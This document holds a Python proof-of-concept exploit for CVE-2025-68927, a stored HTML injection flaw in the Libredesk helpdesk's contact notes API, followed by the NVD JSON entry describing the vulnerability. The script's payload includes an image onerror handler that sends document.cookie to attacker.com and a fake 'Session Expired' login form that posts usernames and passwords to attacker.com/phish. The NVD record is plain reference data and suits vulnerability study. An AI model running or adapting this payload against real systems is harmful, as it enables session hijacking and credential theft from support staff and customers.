CVE-2025-68927

import requests import json # CVE-2025-68927 PoC - Stored HTML Injection in Libredesk # Target: Libredesk < 0.8.6-beta TARGET_URL = "http://target-server.com" CONTACT_ID = "1" # Target contact ID # Malicious payload - inject arbitrary HTML elements malicious_payload = """ <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> <form action="https://attacker.com/phish" method="POST"> <input type="text" name="username" placeholder="Session Expired - Please Re-login"> <input type="password" name="password"> <input type="submit" value="Login"> </form> """ # Exploit endpoint endpoint = f"{TARGET_URL}/api/v1/contacts/{CONTACT_ID}/notes" # Normal request (with <p> tags - sanitized) normal_data = { "content": f"<p>{malicious_payload}</p>" } # Malicious request (removing <p> tags - bypasses sanitization) exploit_data = { "content": malicious_payload # No <p> wrapper } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print("[*] Sending malicious request...") response = requests.post(endpoint, data=json.dumps(exploit_data), headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Payload successfully injected!") print(f"[+] Response: {response.text}") print("[*] The injected HTML will be rendered when the note is displayed.") else: print(f"[-] Request failed with status: {response.status_code}")

{"cve": {"id": "CVE-2025-68927", "sourceIdentifier": "[email protected]", "published": "2025-12-27T01:15:42.570", "lastModified": "2026-01-02T14:32:27.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libredesk:libredesk:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.6", "matchCriteriaId": "B7880F28-B44A-4897-B74A-8EB850F91E36"}]}]}], "references": [{"url": "https://github.com/abhinavxd/libredesk/commit/270347849943ac6a43e9fd6ebdc99c71841900eb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/abhinavxd/libredesk/security/advisories/GHSA-wh6m-h6f4-rjf4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/abhinavxd/libredesk/security/advisories/GHSA-wh6m-h6f4-rjf4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}